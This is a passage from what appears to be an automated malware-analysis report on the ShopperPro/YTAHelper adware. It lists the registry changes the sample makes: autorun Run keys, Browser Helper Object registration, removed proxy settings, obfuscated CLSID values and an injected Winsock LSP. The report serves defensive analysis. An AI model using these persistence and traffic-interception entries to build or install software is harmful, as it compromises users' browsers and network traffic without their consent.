[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "E8 7C 5C 30 C5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 45 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1508.0.0.0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "E8 7C 5C 30 C5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process %original file name%.exe:2108 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process regsvr32.exe:1996 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro64.dll"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

"NoExplorer" = "1"

The process regsvr32.exe:576 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "YTAHelper 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"NoExplorer" = "1"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper.dll"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

[HKCR\Wow6432Node\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\Interface\{5428DAA1-5A6B-4443-9CAD-60D5C2F38F1B}]
"(Default)" = "IYTAHelperBHO"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]

The process regsvr32.exe:2412 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\VersionIndependentProgID]
"(Default)" = "ShopperPro.ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"(Default)" = "C:\ProgramData\ShopperPro\ShopperPro.dll"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\ShopperPro.ShopperProBHO\CurVer]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "ShopperPro"

[HKCR\AppID\ShopperPro.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\ShopperPro.ShopperProBHO]
"(Default)" = "Shopper Pro"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO.1\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"Version" = "1.0"

[HKCR\ShopperPro.ShopperProBHO\CLSID]
"(Default)" = "{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\ShopperPro.ShopperProBHO.1]
"(Default)" = "Shopper Pro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\HELPDIR]
"(Default)" = "C:\ProgramData\ShopperPro"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0]
"(Default)" = "ShopperPro 1.0 Type Library"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

[HKCR\Wow6432Node\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}]
"(Default)" = "IShopperProBHO"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCR\Wow6432Node\CLSID\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}\ProgID]
"(Default)" = "ShopperPro.ShopperProBHO.1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplorer" = "1"

[HKCR\Interface\{03C0AC00-86DE-4B55-81BA-2E7CD61C51B1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]

The process regsvr32.exe:3932 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\YTAHelper.YTAHelperBHO.1]
"(Default)" = "YTAHelper"

[HKCR\TypeLib\{8FB1A663-2820-468B-95C4-5060A4C5F413}\1.0\0\win32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"(Default)" = "C:\ProgramData\YTAHelper\YTAHelper64.dll"

[HKCR\YTAHelper.YTAHelperBHO.1\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\AppID\YTAHelper.DLL]
"AppID" = "{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\ProgID]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO\CLSID]
"(Default)" = "{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}"

[HKCR\YTAHelper.YTAHelperBHO\CurVer]
"(Default)" = "YTAHelper.YTAHelperBHO.1"

[HKCR\YTAHelper.YTAHelperBHO]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelper"

[HKCR\AppID\{58FDA6AF-67D8-4198-B7CD-94B17532C8D5}]
"(Default)" = "YTAHelper"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\VersionIndependentProgID]
"(Default)" = "YTAHelper.YTAHelperBHO"

[HKCR\CLSID\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}\TypeLib]
"(Default)" = "{8FB1A663-2820-468B-95C4-5060A4C5F413}"

It registers itself as a Browser Helper Object (BHO) to ensure its automatic execution every time Internet Explorer is run. It does this by creating the following registry key(s)/entry(ies):

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{FCE3FA8B-BA81-467C-81D8-E43C00D1BC71}]
"(Default)" = "YTAHelperBHO"

"NoExplorer" = "1"

The process lspinst.exe:3972 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|ac`_w}Yu`fbISI`@Ntl"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0E 00 00 00"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoQFS^vVzso}n"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"FdUXjkIpvn"
"jugyvwoEcjGw"
"Uojvoqeov"
"rffapxdttSchh"
"yxQHXfdfitoe"
"qPacydvhduuR"
"qvorsEtjxw"
"qvbbRNdMg"
"yEsrDTepOCs"
"cgcdxuSksc"
"MNEMOyZJWG"
"LdsE"
"fSXewhkfv"
"omdjT"
"hFLwn"
"DxOl"
"uqmpybcjdI"
"pseKcc"
"pxylOXnGwpXkz"

The process lspinst.exe:3640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\fSXewhkfv]
"(Default)" = "_xYZQrl`JeeizQ`aoP"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "7B 99 5D 69 0A 17 1F CD 22 18 2A 64 22 18 AF B6"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
